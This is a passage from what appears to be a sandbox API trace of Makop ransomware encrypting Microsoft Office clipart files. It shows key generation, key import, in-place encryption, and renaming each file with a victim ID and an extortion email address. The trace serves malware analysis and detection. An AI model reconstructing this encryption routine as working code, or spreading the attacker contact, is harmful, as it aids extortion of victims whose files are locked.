office\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.161] GetProcessHeap () returned 0x48a0000 [0137.161] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.161] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.161] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.175] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.175] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.175] GetProcessHeap () returned 0x48a0000 [0137.175] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.175] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.175] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.175] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.175] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.176] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.176] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.176] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.176] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.176] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.176] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1672c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1672c, lpOverlapped=0x0) returned 1 [0137.179] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16730, dwBufLen=0x16730 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16730) returned 1 [0137.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.180] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16730, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16730, lpOverlapped=0x0) returned 1 [0137.180] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.180] SetEndOfFile (hFile=0xf0) returned 1 [0137.201] GetProcessHeap () returned 0x48a0000 [0137.201] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.201] GetProcessHeap () returned 0x48a0000 [0137.201] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.201] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.201] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.203] CloseHandle (hObject=0xf0) returned 1 [0137.203] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382927.JPG", cAlternateFileName="")) returned 1 [0137.203] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG") returned 63 [0137.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.204] GetProcessHeap () returned 0x48a0000 [0137.204] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.204] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.205] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.208] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.209] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.209] GetProcessHeap () returned 0x48a0000 [0137.209] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.209] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.209] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.209] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.209] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.210] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.210] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.210] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.210] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.210] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f86c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f86c, lpOverlapped=0x0) returned 1 [0137.213] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f870, dwBufLen=0x1f870 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f870) returned 1 [0137.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.215] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f870, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f870, lpOverlapped=0x0) returned 1 [0137.217] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.217] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.217] SetEndOfFile (hFile=0xf0) returned 1 [0137.224] GetProcessHeap () returned 0x48a0000 [0137.224] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.224] GetProcessHeap () returned 0x48a0000 [0137.224] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.224] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.226] CloseHandle (hObject=0xf0) returned 1 [0137.226] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b83a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382930.JPG", cAlternateFileName="")) returned 1 [0137.226] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG") returned 63 [0137.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.227] GetProcessHeap () returned 0x48a0000 [0137.228] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.228] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.228] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0137.233] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.233] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.233] GetProcessHeap () returned 0x48a0000 [0137.233] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.233] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.233] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.233] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.233] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.233] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.233] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.234] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.234] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.234] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.234] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b83a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b83a, lpOverlapped=0x0) returned 1 [0137.237] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b840, dwBufLen=0x1b840 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b840) returned 1 [0137.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.238] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b840, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b840, lpOverlapped=0x0) returned 1 [0137.239] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.239] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.239] SetEndOfFile (hFile=0xf0) returned 1 [0137.247] GetProcessHeap () returned 0x48a0000 [0137.247] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.247] GetProcessHeap () returned 0x48a0000 [0137.247] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.247] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.249] CloseHandle (hObject=0xf0) returned 1 [0137.249] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df43, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382931.JPG", cAlternateFileName="")) returned 1 [0137.249] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG") returned 63 [0137.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.250] GetProcessHeap () returned 0x48a0000 [0137.250] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.250] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.250] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.250] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0137.254] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.254] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.254] GetProcessHeap () returned 0x48a0000 [0137.254] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.254] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.254] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.254] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.255] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.255] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.255] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.258] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.258] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.259] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.259] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.259] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1df43, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1df43, lpOverlapped=0x0) returned 1 [0137.262] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1df50, dwBufLen=0x1df50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1df50) returned 1 [0137.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.263] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1df50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1df50, lpOverlapped=0x0) returned 1 [0137.264] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.264] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.264] SetEndOfFile (hFile=0xf0) returned 1 [0137.272] GetProcessHeap () returned 0x48a0000 [0137.272] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.272] GetProcessHeap () returned 0x48a0000 [0137.272] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.272] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.273] CloseHandle (hObject=0xf0) returned 1 [0137.273] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, 